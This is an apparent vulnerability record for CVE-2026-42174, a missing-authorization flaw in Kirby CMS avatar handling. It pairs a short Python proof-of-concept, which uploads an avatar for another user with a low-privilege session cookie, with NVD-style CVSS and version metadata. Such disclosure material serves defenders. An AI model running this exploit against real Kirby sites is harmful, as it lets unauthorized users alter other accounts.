CVE-2026-42174

import requests # Target configuration target_url = "http://target-kirby-site.com/panel/users/{user_id}/avatar" attacker_cookie = "low_privilege_session_cookie_value" # Headers and Cookies headers = { "User-Agent": "Mozilla/5.0 (PoC Analyst)" } cookies = { "kirby_session": attacker_cookie } # Payload: New avatar file files = { "avatar": ("exploit.jpg", open("exploit.jpg", "rb"), "image/jpeg") } # Send exploit request try: response = requests.post(target_url, headers=headers, cookies=cookies, files=files) if response.status_code == 200: print("[+] PoC Success: Avatar updated potentially.") else: print(f"[-] PoC Failed: Status code {response.status_code}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-42174", "sourceIdentifier": "[email protected]", "published": "2026-05-09T04:16:23.600", "lastModified": "2026-05-18T13:00:08.773", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kirby is an open-source content management system. Prior to versions 4.9.0 and 5.4.0, user avatar creation, replacement and deletion are not gated by user update permissions. This issue has been patched in versions 4.9.0 and 5.4.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getkirby:kirby:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.9.0", "matchCriteriaId": "1BB5394F-37F9-4A53-9CE7-79548F674886"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getkirby:kirby:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.4.0", "matchCriteriaId": "B2D943B9-CD71-45FE-A1A4-158603C3502E"}]}]}], "references": [{"url": "https://github.com/getkirby/kirby/releases/tag/4.9.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/getkirby/kirby/releases/tag/5.4.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/getkirby/kirby/security/advisories/GHSA-39cp-6679-8xv2", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}